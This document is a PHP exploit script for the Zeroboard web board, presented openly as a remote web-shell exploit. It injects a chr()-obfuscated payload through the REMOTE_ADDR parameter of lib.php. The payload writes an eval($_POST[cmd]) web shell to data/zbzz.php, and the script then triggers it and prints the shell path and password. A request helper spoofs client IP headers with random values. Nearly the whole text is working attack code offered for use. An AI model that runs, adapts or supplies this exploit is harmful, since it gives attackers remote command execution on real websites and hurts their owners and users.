zeroboard Remote get webshell Exploit

                                                <?php

$url = $argv[1].'/lib.php';
echo"   +----------------------------------------------------------------+\r\n";
echo"                   example php.exe zb.php http://www.fuck.com/zb \r\n";
echo"   +----------------------------------------------------------------+\r\n";


if(!$url) die;

echo"   root@localhost:Post our content\r\n";

$str = 'REMOTE_ADDR=*/fputs(fopen(chr(46).chr(47).chr(122).chr(98).chr(122).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1';
file_get_contents($url.'?'.$str);
file_get_contents($argv[1].'/data/now_connect.php');
echo"   root@localhost:All Done!!! \r\n";
echo"    WebShell:$argv[1]/data/zbzz.php  PASS:cmd\r\n";
echo"   +----------------------------------------------------------------+\r\n";
echo"   Enjoy yourself.\r\n";
echo"   +----------------------------------------------------------------+\r\n";


function myrequest($msg,$url,$type=2){
        global $cookie,$iprand;
        //change type for post/get
        $urls  = initurl($url);
        $iprand = rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255);
        $fp = @fsockopen($urls['host'], $urls['port'], $errno, $errstr, 20);
        if($fp) {
                if($type==1){
                        if(!empty($urls[query])) $urls = "$urls[path]?$urls[query]";
                        else $urls = $urls[path];
                        fputs($fp, "GET $urls HTTP/1.1\r\n");
                        fputs($fp, "Host: $urls[host]\r\n");
                        fputs($fp, "Accept: */*\r\n");
                        fputs($fp, "Referer: $urls[url]\r\n");
                        fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n");
                        fputs($fp, "CLIENT-IP: $iprand\r\n");
                        fputs($fp, "X-FORWARDED-FOR: $iprand\r\n");
                        fputs($fp, "Pragma: no-cache\r\n");
                        fputs($fp, "Cache-Control: no-cache\r\n");
                        fputs($fp, "Connection: Close\r\n\r\n");
                }else{
                        if(!empty($urls[query])) $urls = "$urls[path]?$urls[query]";
                        else $urls = $urls[path];
                        fputs($fp, "POST $urls HTTP/1.1\r\n");
                        fputs($fp, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n");
                        fputs($fp, "Referer: $urls[url]\r\n");
                        fputs($fp, "Accept-Language: zh-cn\r\n");
                        fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");
                        fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\r\n");
                        fputs($fp, "CLIENT-IP: $iprand\r\n");
                        fputs($fp, "X-FORWARDED-FOR: $iprand\r\n");
                        fputs($fp, "Host: $urls[host]\r\n");
                        fputs($fp, "Content-Length: ".strlen($msg)."\r\n");
                        fputs($fp, "Connection: Keep-Alive\r\n");
                        fputs($fp, "Cache-Control: no-cache\r\n");
                        fputs($fp, "Cookie: $cookie\r\n");
                        fputs($fp, "\r\n");
                        fputs($fp, $msg."\r\n");
                }
        }

        while($fp&&!feof($fp)) {
                $resp .= fread($fp,1024);
        }
        return $resp;
}

function initurl($url) {

        $newurl = '';
        $blanks = array('url'=>'');
        $urls = $blanks;

        if(strlen($url)<10) return $blanks;
        $urls = @parse_url($url);
        if(empty($urls) || !is_array($urls)) return $blanks;
        if(empty($urls['scheme'])) return $blanks;
        if($urls['scheme'] == 'file') return $blanks;

        $newurl .= $urls['scheme'].'://';
        $newurl .= empty($urls['user'])?'':$urls['user'];
        $newurl .= empty($urls['pass'])?'':':'.$urls['pass'];
        $newurl .= empty($urls['host'])?'':((!empty($urls['user']) || !empty($urls['pass']))?'@':'').$urls['host'];
        $newurl .= empty($urls['port'])?'':':'.$urls['port'];
        $newurl .= empty($urls['path'])?'':$urls['path'];
        $newurl .= empty($urls['query'])?'':'?'.$urls['query'];
        $newurl .= empty($urls['fragment'])?'':'#'.$urls['fragment'];

        $urls['port'] = empty($urls['port'])?'80':$urls['port'];
        $urls['url'] = $newurl;

        return $urls;
}
?>